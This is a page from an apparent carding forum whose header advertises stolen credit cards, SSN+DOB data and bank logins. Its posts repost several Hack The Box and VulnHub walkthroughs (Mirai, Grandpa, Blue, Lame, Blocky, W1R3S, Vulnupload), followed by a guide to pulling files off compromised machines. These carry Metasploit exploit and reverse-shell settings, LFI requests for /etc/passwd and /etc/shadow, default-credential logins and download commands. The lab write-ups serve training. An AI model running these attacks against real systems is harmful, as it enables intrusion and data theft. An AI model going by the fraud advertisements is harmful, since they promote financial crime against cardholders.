Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis





PLACE YOUR TEXT HERE FOR ADVERTISE
PLACE YOUR TEXT HERE FOR ADVERTISE
CC+CVV Private Base Wholesale & Retail | 200+ Countries | Rare BINs
Best CC Shop Daily Updates | 200+ Countries | High Quality | 24/7 Fast Support
BlackBet.cc Banks, Shops, Real Docs, SSN+DOB, PayPal, GVoice/Gmail, Lookups








>PLACE TEXT ADVERTISING HERE< &PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE< >PLACE TEXT ADVERTISING HERE<



Announcement : Black Hat Forum is one of the Best Black Hat Carding Forum welcome you. We will share great stuff for our loved members, hope you enjoy your stay on our Black Hat Forum and you will return to us EVERYDAY. Stay Safe Enjoy Blackhat Carding Forum.


Welcome, Guest
You have to register before you can post on our site.

Username
  

Password
  





Search Forums

(Advanced Search)

Forum Statistics
» Members: 114,296
» Latest member: Visionjhy
» Forum threads: 13,082
» Forum posts: 20,983

Full Statistics

Latest Threads
STUFF CC – BEST CC SHOP
2 hours ago

Last post by StuffCC
Vn5socks.net - Service Se...
5 hours ago

Last post by FireHeaven
Shopsocks5.com - Service ...
Yesterday, 12:42 PM

Last post by shopsocks5.com
Secretline.top @StarLinkC...
11-08-2026, 03:45 AM

Last post by Max097
Secretline.top @StarLinkC...
11-07-2026, 03:35 PM

Last post by Max097
Secretline.top @StarLinkC...
11-06-2026, 03:07 PM

Last post by Max097
[LUPIN ULP] 16.279.483 | ...
11-06-2026, 05:23 AM

Last post by ImLupin
Secretline.top @StarLinkC...
11-06-2026, 05:20 AM

Last post by Max097
Secretline.top @StarLinkC...
11-05-2026, 05:12 PM

Last post by Max097
⚡[350M] - UHQ ULP || URL:...
11-05-2026, 02:17 PM

Last post by eaglecloudofficial

 
  [Guide] How to Hack the Box Challenge: Mirai Walkthrough
Posted by: NINZA - 05-14-2020, 08:32 AM - Forum: Carders Home - No Replies

Hello friends!! Today we are going to solve another CTF challenge “Mirai” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Mirai lab.
Level: Intermediate
Task: find user.txt and root.txt file in the victim’s machine.
Let’s Breach!!!
Lab IP: 10.10.10.48
Firstly let’s enumerate ports in context to identify running services and open ports of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 10.10.10.48 --open
1
nmap -p- -A 10.10.10.48 --open

Awesome!! Nmap has done a remarkable job by dumping the details of services running on open port 22 53, 80, 1031, 32400, 32469.
[Image: 1.png?w=687&ssl=1]
Without wasting time I used the dirb tool of Kali to enumerate the directories and found some important directories such as /admin/
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 2.png?w=687&ssl=1]
So next I decided to explore

[To see content please register here]

through browser URL. Here we have a Login Page, Lets Go through That.

[Image: 3.png?w=687&ssl=1]
When I link on login tab I saw following web page. The Pi-hole and the Logo gives us a pretty huge hint that the target machine is a Raspberry Pi, and Raspberry Pi comes with a default ssh
[Image: 4.png?w=687&ssl=1]
So we tried default ssh credentials on the Raspberry Pi.
Username:    pi
Password: raspberry

1
2

Username:    pi
Password: raspberry

Great!! Our prediction works successfully and we got PTs shell of the victim’s machine.
[Image: 5.png?w=687&ssl=1]
Now Let’s Look for the User Flag
cd Desktop
ls

1
2

cd Desktop
ls

Here I found a user.txt file and used cat “filename” command for reading this file. cat user.txt
Great!! We got our 1st flag
[Image: 6.1.png?w=687&ssl=1]
And After Browsing we got the flag user.txt on the Location: ~/Desktop/user.txt
by executing sudo -l command it tells us that user pi has full privileged in this machine.
sudo -l
1
sudo -l

[Image: 6.png?w=687&ssl=1]
Then I moved for root access using the previous same password and again I get root access successfully.
sudo bash
1
sudo bash

After going through the root directory we get a root.txt  But we get a Hint that our Root Flag is on a USB stick.
[Image: 7.png?w=687&ssl=1]
Let’s check if it is mounted by following command df
df (abbreviation for disk free) is a standard Unix command used to display the amount of available disk space for file systems on which the invoking user has appropriate read access. As you can see in the below screenshot that we have the USB stick on the Device. (From Wikipedia)
From given below image we can /media/usbstick.
Then execute given below command for further steps
cd /media/usbstick
ls -al

1
2

cd /media/usbstick
ls -al

Here we found a text file damnit.txt, using cat command we can read this file.
cat damnit.txt
1
cat damnit.txt

Oops!! James has accidentally deleted the root.txt file. Now let’s try to find it somewhere with a little hope.
[Image: 8.png?w=687&ssl=1]
Move back to root directory and type following command which will scan /dev/sdb file system completely and hopefully, it can find deleted root.txt file also.
[Image: 9.png?w=687&ssl=1]
Great!! We got our 2nd flag successfully Enjoy Hacking!!
[Image: 10.png?w=687&ssl=1]

Today we are going to solve another CTF challenge “Grandpa” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Grandpa Lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Grandpa is 10.10.10.14 so let’s begin with nmap port enumeration.
nmap -p- -sV 10.10.10.14
1
nmap -p- -sV 10.10.10.14

From nmap result I found the following information.
Open port: 80 for HTTP
Service version: Microsoft IIS httpd 6.0
OS: Windows machine.
[Image: 1.png?w=687&ssl=1]
Then I used searchsploit for iis 6.0 and found a Remote Buffer overflow vulnerability in Microsoft IIS httpd 6.0, you can check this exploit in google also.
[Image: 2.png?w=687&ssl=1]
Then I run the msfconsole command in the terminal and load Metasploit framework for using Microsoft IIS WebDAV ScStoragePathFromUrl Overflow module for exploiting target machine.
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost 10.10.10.14
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost 10.10.14.3
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run

1
2
3
4
5
6

use exploit/windows/iis/iis_webdav_scstoragepathfromurl
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set rhost 10.10.10.14
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set payload windows/meterpreter/reverse_tcp
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lhost 10.10.14.3
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) set lport 4444
msf exploit(windows/iis/iis_webdav_scstoragepathfromurl) run

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
Then I run command getuid for identifying user ID and current process but it failed due to limited shell access we have in session 1 and now we need to privilege escalation.
For that background your current meterpreter shell and go for post exploitation.
[Image: u.png?w=687&ssl=1]
Then I run a post exploit “Multi Recon Local Exploit Suggester” that suggests local meterpreter exploits that can be used for the further exploit. The exploits are recommended founded on the architecture and platform that the user has a shell opened as well as the available exploits in meterpreter.
use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > run

1
2
3

use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > run

Wonderful!! Exploit Suggester truly proof itself by suggesting another exploit name to which target is vulnerable. So now we will go with the last option as highlighted in the image.
[Image: 5.png?w=687&ssl=1]
At this time use pprFlattenRec Local Privilege Escalation module for making unauthorized access again but as privileged user.
use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.3
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
msf exploit(windows/local/ppr_flatten_rec) > run

1
2
3
4

use exploit/windows/local/ppr_flatten_rec
msf exploit(windows/local/ppr_flatten_rec) > set lhost 10.10.14.3
msf exploit(windows/local/ppr_flatten_rec) > set lport 4455
msf exploit(windows/local/ppr_flatten_rec) > run

Nice!! It works and we got meterpreter session 2 as system user and you can check in below image.
meterpreter > getuid
1
meterpreter > getuid

[Image: 6.png?w=687&ssl=1]
Now let’s complete this task my searching user.txt and root.txt flag which is hidden somewhere inside a directory.
meterpreter > shell
1
meterpreter > shell

Inside C:\Document and Setting\Harry\Desktop I found the user.txt file and used the type “filename” command for reading this file.
type user.txt
1
type user.txt

Great!! We got our 1st flag successfully
[Image: 7.png?w=687&ssl=1]
Inside C:\Document and Setting\Administrtator\Desktop I found the root.txt file and used the type “filename” command for reading this file.
type root.txt
1
type root.txt

Great!! We got our 2nd flag successfully
Breaching this lab was an interesting and enjoyable moment for me. It will take less time if you are aware of proper Metasploit exploits. Therefore I will give all Glory to Metasploit for making this challenge easy for me.
Happy Hacking!!
[Image: 8.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Blue” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit a write-up of any Active lab, therefore, we have chosen retried Blue lab.
Level: Beginners
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of blue is 10.10.10.40 so let’s begin with nmap port enumeration.
nmap -p- -A 10.10.10.40 --open
1
nmap -p- -A 10.10.10.40 --open

From the given below image, you can observe that we found so many open ports and port 137, 139 and 445 denotes that it is a windows machine.
[Image: 1.png?w=687&ssl=1]
When I extract the complete result of nmap I found the following details
  • OS: Windows 7 professional
  • Computer name: haris-pc
  • NetBIOS computer name haris-pc
  • SMB version: 02
Great!! Form this result I can conclude username can be “haris” moreover smb 2.02 can be exploited by the eternal blue vulnerability.
[Image: 2.1.png?w=687&ssl=1]
Let confirm eternal blue vulnerability in the victim’s system using nmap script.
nmap --script vuln -p445 10.10.10.40
1
nmap --script vuln -p445 10.10.10.40

Awesome!! Victim’s machine is vulnerable to eternal blue exploit.
[Image: 2.png?w=687&ssl=1]
Then I run the msfconsole command in terminal and load Metasploit framework for using the eternal blue module for exploiting target machine.
use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) >run

1
2
3

use exploit/windows/smb/ms17_010_eternalblue
msf exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
msf exploit(windows/smb/ms17_010_eternalblue) >run

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
[Image: 3.png?w=687&ssl=1]
Inside c:\Users\haris \Desktop I found the user.txt file and used type “filename” command for reading this file.
cd Desktop
type user.txt

1
2

cd Desktop
type user.txt

Great!! We got our 1st flag successfully
[Image: 4.png?w=687&ssl=1]
Inside c:\Users\Administrator \Desktop I found a root.txt file and used type “filename” command for reading this file.
cd Desktop
type root.txt

1
2

cd Desktop
type root.txt

Great!! We got our 2nd flag successfully.
It was a very easy challenge for those candidates who have little to no knowledge of vulnerability analysis.
Happy Hacking!!
[Image: 5.png?w=687&ssl=1]

Hello friends!! Today we are going to solve another CTF challenge “Lame” which is lab presented by Hack the Box for making online penetration practices according to your experience level. They have a collection of vulnerable labs as challenges from beginners to Expert level. HTB have two partitions of lab i.e. Active and retired since we can’t submit write up of any Active lab, therefore, we have chosen retried Lame lab.
Level: Beginners         
Task: find user.txt and root.txt file in the victim’s machine.
Let’s begin the Game!!
Since these labs are online available therefore they have static IP and IP of Lame is 10.10.10.3 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.3
1
nmap -sV 10.10.10.3

From given below image, you can observe that we found so many open ports such as 21 for ftp, 22 for ssh, 139 and 445 for samba service and also got hit OS platform can be Unix or Linux.
[Image: 1.png?w=687&ssl=1]
From nmap result we saw samba service smbd 3.x is running in victim’s machine therefore next I search for any exploit related to this service in Google.
Gratefully Google gave me hint in their 2nd link of exploit DB.
[Image: 2.png?w=687&ssl=1]
Then I run the msfconsole command in terminal and load Metasploit framework for using Samba 3.0.20 < 3.0.25rc3 – ‘Username’ map script’ Command Execution module for exploiting target machine.
use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit

1
2
3

use exploit/multi/samba/usermap_script
msf exploit(multi/samba/usermap_script) > set rhost 10.10.10.3
msf exploit(multi/samba/usermap_script) > exploit

Terrific!! I have got unauthorized access of victims command shell through session 1 as shown in below image.
I had updated command shell into the meterpreter shell by executing the following command.
sessions -u 1
1
sessions -u 1

[Image: 3.png?w=687&ssl=1]
Inside path: /home/makis I found the user.txt file and used cat “filename” command for reading this file.
cd /home
ls
cd makis
ls
cat user.txt

1
2
3
4
5

cd /home
ls
cd makis
ls
cat user.txt

Great!! We got our 1st flag successfully
[Image: 4.png?w=687&ssl=1]
Inside path: /root I found the root.txt file and used cat “filename” command for reading this file.
cd /root
ls
cat root.txt

1
2
3

cd /root
ls
cat root.txt

Great!! We got our 2nd flag successfully
It will be a very stress-free challenge for that candidate who has knowledge little know vulnerability analysis.
Happy Hacking!!
[Image: 5.png?w=687&ssl=1]


  [Guide] How to Hack the Box Challenge: Blocky Walkthrough
Posted by: NINZA - 05-14-2020, 08:30 AM - Forum: Carders Home - No Replies

Hello friends!! Today we are going to solve another CTF challenge “Blocky ” which is available online for those who want to increase their skill penetration testing and black box testing. Blocky is a retried vulnerable lab presented by Hack the Box for making online penetration practices according to your experience level, they have a collection of vulnerable labs as challenges from beginners to Expert level. We are going to start a new series of hack the box beginning with Blocky craft which is designed for beginners.
Since these labs are online available therefore they have static IP and IP of blocky is 10.10.10.37 so let’s begin with nmap port enumeration.
nmap -sV 10.10.10.37
1
nmap -sV 10.10.10.37

From the given below image, you can observe we found port 21, 22, 80 are open in the victim’s network.
[Image: 1.png?w=687&ssl=1]
Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser but didn’t get any remarkable clue on its welcome page for the next step.
[Image: 2.png?w=687&ssl=1]
Next, we use the dirb tool of kali to enumerate the directories and found some important directories such as /phpmyadmin, /wp-admin, /plugin/files and etc which you can confirm from below image.
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 3.png?w=687&ssl=1]
After browsing so many directories I found plugin/files a bit interested by executing the following URL in the browser.

[To see content please register here]


1

[To see content please register here]


From given below image you can observe that it has shown two jar file. Let’s download BlockyCore.jar file and then move for its compilation.
[Image: 4.png?w=687&ssl=1]
Using online compilers I had complied blockycore.jar file and found something very interesting in it. It contains login credential sqluser and sqlpass as highlighted in below image.
[Image: 5.png?w=687&ssl=1]
Then I explore

[To see content please register here]

and login into phpmyadmin server using above credential

root: 8YsqfCTnvxAUeduzjNSXe22
1
root: 8YsqfCTnvxAUeduzjNSXe22

[Image: 6.png?w=687&ssl=1]
Then opened the WordPress database for stealing username from here and I found a user login: Notch with user Id 1.
[Image: 7.png?w=687&ssl=1]
Now I try to access victim’s system PTs shell through SSH since port 22 is open as per nmap result and I had also found a user name, therefore, I open a new terminal in kali executed following command to connecting with target network through ssh service.
ssh [email protected]
1
ssh [email protected]

For password, I try above password found in the jar file and got successful login into victims shell.
id
From id result, I came to know Notch is the first user of the system.
[Image: 8.png?w=687&ssl=1]
By executing sudo -l command it tells us that user Notch has full privileged in this machine.
[Image: 9.png?w=687&ssl=1]
Then I moved for root access using the previous same password and again I get root access successfully.
sudo su
1
sudo su

Then inside its home directory, I found the user.txt file and used cat command for reading this file.
ls
cat user.txt

1
2

ls
cat user.txt

Gracefully!! We found the 1st flag of this Lab in user.txt
[Image: 10.png?w=687&ssl=1]
Then I moved into root directory where I found root.txt and again use cat command for reading this file.
cd /root
ls
cat root.txt

1
2
3

cd /root
ls
cat root.txt

Great!!! We completed this challenge by capturing the 2nd flag in the root.txt file.
[Image: 11.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as W1R3S.inc. The credit for making this VM machine goes to “SpecterWires” and it is another capture the flag challenge in which our goal is to gain root access and capture the flag to complete the challenge. You can download this VM

[To see content please register here]

.

Let’s Breach!!!
Let’s start from getting to know the IP of VM (Here, I have it at 192.168.1.106 but you will have to find your own)
netdiscover
1
netdiscover

[Image: 1.png?w=687&ssl=1]
Now let’s move towards enumeration in context to identify running services and open of victim’s machine by using the most popular tool Nmap.
nmap -p- -A 192.168.1.106 --open
1
nmap -p- -A 192.168.1.106 --open

Awesome!! Nmap has done a remarkable job by dumbing the details of services running on open port 21, 22 and 80.
[Image: 2.png?w=687&ssl=1]
Knowing port 80 is open in victim’s network I preferred to explore his IP in the browser but didn’t get any clue on its home page for the next step.
[Image: 3.png?w=687&ssl=1]
Next, we use the dirb  tool of kali to enumerate the directories and found some important directories such as /administrator /installation and /wordpress/
dirb

[To see content please register here]


1
dirb

[To see content please register here]


[Image: 4.png?w=687&ssl=1]
So next I decided to explore

[To see content please register here]

through browser URL and received installation page as shown in given below image. Moreover noticed that the author has used Cuppa CMS.

[Image: 5.png?w=687&ssl=1]
With the help of Google I check out for any exploit related to cuppa CMS. And from Google search result, I found exploit 25971 in its first link.
[Image: 6.png?w=687&ssl=1]
This exploit was pointing toward Cuppa CMS File Inclusion vulnerability. The exploit having a hint for exploiting LFI or RFI vulnerability, taking let help from highlighted hint let’s try to exploit our victim.
[Image: 7.png?w=687&ssl=1]
According to our condition, we need to paste the malicious code in URL as
http:192.168.1.106 /administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd
1
http:192.168.1.106 /administrator/alerts/alertConfigField.php?urlConfig=../../../../../../../../../etc/passwd

for exploiting LFI vulnerability.
Sadly!! Again didn’t get anything to accept a following blank page of configuration.
[Image: 8.png?w=687&ssl=1]
After wasting a lot of time on the browser I decided to use curl for exploiting LFI vulnerability for obtaining etc/password file.
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd

[To see content please register here]


1
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/passwd

[To see content please register here]


When I executed the above command for exploring etc/password file, it successfully works and I found the first username “w1r3s”.
[Image: 9.png?w=687&ssl=1]
Then again I executed below command for obtaining a password file by using the same process.
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow

[To see content please register here]


1
curl -s --data-urlencode urlConfig=../../../../../../../../../etc/shadow

[To see content please register here]


Successfully I found the salt password of user w1r3s as shown in given below image. Then I copied this password in a text file as pass.txt for cracking it with John the ripper.
[Image: 10.png?w=687&ssl=1]
Next, I had used John the ripper for cracking pass.txt and from given below image you can observe the highlighted text “computer” as a plain text password.
Hence we found username: w1r3s and password: computer
[Image: 11.png?w=687&ssl=1]
If you remember the output result of nmap then it was showing port 22 is open for SSH. We had also grabbed the username and password, now without wasting timing let login into SSH using above credential username: w1r3s and password: the computer.
ssh [email protected]
1
ssh [email protected]

Wonderful!! We have successfully access PTs shell through SSH of victims system.
id
lsb_release -a

1
2

id
lsb_release -a

[Image: 12.png?w=687&ssl=1]
Since the author has given two the challenges i.e. (i) take root access (ii) capture the Flag.
Let’s take root access through sudo -i command as shown in below image.
Congratulation!! We got root login successfully.
For capturing flag I look into all directories and found the flag.txt file. With help of cat command, I successfully captured the flag and complete all challenges of this VM.
ls -la
cat flag.txt

1
2

ls -la
cat flag.txt

After Solving challenge in this lab is not that much hectic therefore it is a good task for beginners.
[Image: 13.png?w=687&ssl=1]

Hello friends! Today we are going to take another CTF challenge known as Vulnupload. The credit for making this vm machine goes to “Mohammad Khreesha” and it is another capture the flag challenge in which our goal is to capture all the flags to complete the challenge. You can download this VM

[To see content please register here]

.

Let’s Breach!!!
Let us start form getting to know the IP of VM (Here, I have it at 192.168.1.102 but you will have to find your own)
netdiscover
[Image: 1.PNG?w=687&ssl=1]
Use nmap for port enumeration
nmap -p- -A 192.168.1.102 —open
[Image: 2.PNG?w=687&ssl=1]
Nmap scan tells us that port 22 and 80 are open,as port 80 is running http we open it in our browser. When we open the ip we find a login page we use dirb to enumerate the directories and found 2 important directories called /flag/ and /admin_area/
dirb

[To see content please register here]


[Image: 3.PNG?w=687&ssl=1]
We first open the flag directory and find the 1st flag.
[Image: 4.PNG?w=687&ssl=1]
Then we open the directory called /admin_area/.
[Image: 5.PNG?w=687&ssl=1]
The page itself doesn’t tell much but when we take a look at the source code we find our 2nd flag and the username and password to login through the home page.
[Image: 6.PNG?w=687&ssl=1]
When we login through the home page, we find a page that can be used to upload files.
[Image: 7.PNG?w=687&ssl=1]
We create a php reverse shell payload using msfvenom and upload it to our target machine.
[Image: 8.png?w=687&ssl=1]
Now dirb scan showed us a page called uploaded_files we use an educated guess and execute our file in that directory.
[Image: 9.png?w=687&ssl=1]
Now we setup our listener before executing our shell. As soon as we execute our shell we will get the reverse shell of the target system.
msf > use multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
msf exploit(multi/handler) > set lhost 192.168.0.18
msf exploit(multi/handler) > set lport 4444
msf exploit(multi/handler) > run
[Image: 10.1.png?w=687&ssl=1]
Now we find a file called hint.txt, when we open it we find our 3rd flag.
[Image: 10.png?w=687&ssl=1]
We find all the files that belong to user technawi, and we find a file called crendtials.txt in /etc/mysql/conf.d/credentials.txt
[Image: 11.png?w=687&ssl=1]
When we open the file we get our 4th flag and the password for user technawi.
[Image: 12.png?w=687&ssl=1]
Now we login through ssh using these credentials in the target machine.
ssh [email protected]
[Image: 14.png?w=687&ssl=1]
Now we open the file called flag.txt and find our 5th and final flag.
[Image: 15.png?w=687&ssl=1]

In penetration testing, generally, we get stuck when we transfer or download any file from the compromised machine or another host machine in a network. Therefore today you will learn which method you should follow for downloading any file from compromised or another host system. All following methods are helpfully in penetration testing and also used for general purpose.
Let’s start!!
File Transfer Protocol (FTP)
You all are familiar with the working of FTP server their let’s start today’s tutorial from FTP service.
When you found port 21 is open, it means FTP service is running on a remote machine and you are actively looking for downloading a text file from destination machine then you can follow below 2 methods.
1st method use command-line
First, connect to FTP server using host IP, enter login credential and then execute get command with the file name you want to download.
ftp 192.168.1.106
get raj.txt

1
2

ftp 192.168.1.106
get raj.txt

[Image: 1.png?w=687&ssl=1]
2nd method use Browser
The same job can be executed using the browser by adding host IP in URL as

[To see content please register here]

, enter username and password for authentication and download your file.

[Image: 2.png?w=687&ssl=1]
Install Python FTP server
Generally, many people preferred vsftpd server for FTP service for sharing a file over port 21 as done above but if you are not compatible with vsftpd then you can go with 2nd option “Python FTP server” that will allow sharing of the file through port 21.
sudo apt-get install python-pyftpdlib
1
sudo apt-get install python-pyftpdlib

[Image: 3.1.png?w=687&ssl=1]
Here I want to give access to only a particular folder “aarti” for sharing its data.
sudo python -m pyftpdlib -p 21
1
sudo python -m pyftpdlib -p 21

[Image: 3.2.png?w=687&ssl=1]
So when the host machine will enter destination address in URL “

[To see content please register here]

” and you will get anonymous login, now download the file.

[Image: 3.3.png?w=687&ssl=1]
Hypertext Transfer Protocol (HTTP)
Sharing file through web directory “html”
Another most well-known service for file transfer is HTTP service which uses port 80. Service Apache should be activated in your machine for transferring file through web directories and after then you can move any file into HTML directory for sharing it through http service.
So here we are transferring the putty.exe file into html through the following command.
cp putty.exe /var/www/html
1
cp putty.exe /var/www/html

[Image: 3.png?w=687&ssl=1]
Now let’s download putty.exe in our machine from the destination server. Open your favorite browser and browse file through server address 192.168.1.106/putty.exe in URL. By applying this technique you can access any file from inside web directory i.e. /var/www/html of the destination machine.
[Image: 4.0.png?w=687&ssl=1]
Sharing through Python Http server
If you are not compatible with the above http method then you choose 2nd option “Simple Http server” which also a python script that uses port 80 for sharing a file in a network through web browser.
Here again, I want to give access to only a particular folder “demo” for sharing its data.
python -m SimpleHTTPServer 80
1
python -m SimpleHTTPServer 80

[Image: 4.1.png?w=687&ssl=1]
So when the host machine will enter destination address in URL “

[To see content please register here]

” and you will get access for the shared folder, now download the file.

[Image: 4.2.png?w=687&ssl=1]
HFS Tool
In the above Http file sharing method we had to use Ubuntu and Linux for transferring a file over port 80 and allowed another host machine to download it through a web browser.
Now if you are a windows user then you can use HTS tool for performing the same job. It is the most popular tool used file transfer between different platforms.
Steps:
  • Download the HFS and run the application
  • Now drag and drop the file you want to share through the web browser.
[Image: 4.3.png?w=687&ssl=1]
Now when the user of another host machine will open Windows IP as URL

[To see content please register here]

in his web browser he can download the shared file.

[Image: 4.4.png?w=687&ssl=1]
Netcat
Netcat is known as Swiss knife which is used for multiple purposes therefore we are going to use it in file transfer.
Use following command for downloading shared file from destination server
Syntax: nc [options] [listening port] > [path to store downloaded file]
nc -lvp 5555 > /root/Desktop/raj.txt
1
nc -lvp 5555 > /root/Desktop/raj.txt

[Image: 5.png?w=687&ssl=1]
Type following command for sharing any file to host machine in the network.
Syntax: nc host IP host port < file.txt
nc 192.168.1.108 5555 < raj.txt
1
nc 192.168.1.108 5555 < raj.txt

[Image: 6.png?w=687&ssl=1]
Now you can observe that we have successfully downloaded the raj.txt file at the desktop of our host machine.
[Image: 7.png?w=687&ssl=1]
Curl
Curl command-line tool for transferring data using various protocols. And is also used for download the data from any website or host machine, the following command will download the putty.exe file from the website.
curl -O

[To see content please register here]


1
curl -O

[To see content please register here]


[Image: 8.png?w=687&ssl=1]
Similarly, execute given below command for downloading putty WWW.
curl -O

[To see content please register here]


1
curl -O

[To see content please register here]


[Image: 9.png?w=687&ssl=1]
Wget
Execute given below command for downloading a particular file. The downloaded file stores in a current directory. It gives an indication of download progress, size, date and time though downloading the file.
Enter given below command for downloading any file from html directory of Apache server.
wget

[To see content please register here]


1
wget

[To see content please register here]


Similarly, execute given below command for downloading putty WWW.
wget

[To see content please register here]


1
wget

[To see content please register here]


[Image: 10.png?w=687&ssl=1]
Trivial File Transfer Protocol (TFTP)
TFTP service was used to read and write any file using a remote connection, it used UDP port 69 for sharing file and do not uses authentication hence it is less secure than FTP.
Here I had created a demo.txt file inside the tftp folder for sharing.
[Image: 11.png?w=687&ssl=1]
Metasploit contain a module that provides TFTP service for file sharing.
use auxiliary/server/tftp
msf auxiliary(server/tftp) > set srvhost 192.168.1.108
msf auxiliary(server/tftp) > set TFTPROOT /root/tftp
msf auxiliary(server/tftp) > exploit

1
2
3
4

use auxiliary/server/tftp
msf auxiliary(server/tftp) > set srvhost 192.168.1.108
msf auxiliary(server/tftp) > set TFTPROOT /root/tftp
msf auxiliary(server/tftp) > exploit

[Image: 12.png?w=687&ssl=1]
Now open a command prompt and execute given below command for downloading the demo.txt file in your system.
Syntax: tftp -i host IP GET file name.txt
tftp -i 192.168.1.108 GET demo.txt
1
tftp -i 192.168.1.108 GET demo.txt

As you can observe from given below image it has store downloaded in the current directory.
[Image: 13.png?w=687&ssl=1]
SMB Server using Python script
Now we will use a python script that activates SMB service in our Linux machine. You can visit

[To see content please register here]

for this python script.

I copied the python code from Github and past it into a text file as smbserver.py in the desktop folder. Now execute give below command for a shared folder “raj”.
python smbserver.py raj /root/share
1
python smbserver.py raj /root/share

[Image: 14.png?w=687&ssl=1]
Downloading the file from Linux SMB server in Windows Machine
Since we are aware of smb service which is running in host machine 192.168.1.108 and being using window platform we can access it share folder through Run command prompt.
[Image: 15.png?w=687&ssl=1]
Hence you can observe that we had successfully access folder “raj” and found two text file user and pass in it.
In this way, we can use smb python script for sharing file between Windows and Linux machine.
[Image: 16.png?w=687&ssl=1]
Downloading the file from Linux SMB server in Ubuntu Machine
If you are an Ubuntu user then you can use smbclient service for accessing share folder of smb server.
apt-get install smbclient
1
apt-get install smbclient

Now execute given below command for accessing shared folder of the server.
smbclient -L 192.168.1.108
1
smbclient -L 192.168.1.108

From given below image can observe it has shown share folder is “RAJ”
[Image: 17.png?w=687&ssl=1]
Now execute given below command for accessing share folder raj and download the data present inside it.
smbclient //192.168.1.1.108/raj
1
smbclient //192.168.1.1.108/raj

Since folder raj has two text file user.txt and pass.txt and we are going to download user.txt through below command.
get user.txt
[Image: 18.png?w=687&ssl=1]
Download file through Meterpreter
In penetration testing when we compromise target machine and own his meterpreter session using Metasploit then inside meterpreter we can execute the following command for downloading any file from victim’s machine.
meterpreter> download raj.txt /root/Desktop/
1
meterpreter> download raj.txt /root/Desktop/

[Image: 19.png?w=687&ssl=1]
Use Cat command
cat is very beautiful command and can perform the remarkable job if you will use it wisely, suppose you found any text file in host machine and you are unable to download it then open that file through cat command.
For example, I want to know the text inside user.txt then I will execute the following command then copy that text into a new text document and save it in our machine.
[Image: 20.png?w=687&ssl=1]
Download file using Window PowerShell
If you are a windows user and have to command shell access then you can choose PowerShell for downloading any web server file. Execute given below command in command prompt as administrator.
PowerShell
(new-object System.Net.WebClient).DownloadFile('http://192.168.1.1.106/putty.exe',’d:\data\putty.exe')
1
(new-object System.Net.WebClient).DownloadFile('http://192.168.1.1.106/putty.exe',’d:\data\putty.exe')

From given below image you can observe we had successfully download putty.exe in d: drive.
[Image: 21.png?w=687&ssl=1]
Download file using BITSAdmin
BITSAdmin is a command-line utility for window platform that allows the user to download and uploading of a file. If you want to download any file from http then you can use the following command. It is similar to PowerShell work under admin privileged. Therefore run cmd as administrator and execute given below command for downloading putty.
bitsadmin /transfer job

[To see content please register here]

F:\putty.exe

1
bitsadmin /transfer job

[To see content please register here]

F:\putty.exe

[Image: 22.png?w=687&ssl=1]
Now it will start downloading and also gives updates while downloading such as job type i.e downloading, priority and status.
[Image: 23.png?w=687&ssl=1]
From given below image you can observe that we had downloaded putty.exe in f: drive.
[Image: 24.png?w=687&ssl=1]
Sharing File through PHP File Server
PHP is also available for the same purpose when the above method is not compatible with sharing file between two hosts. You need to execute the following command to turn on the HTTP listener. As you know, I have saved a shell script on the Desktop, therefore, we are running below command on Desktop.
php -S 0.0.0.0:80
1
php -S 0.0.0.0:80

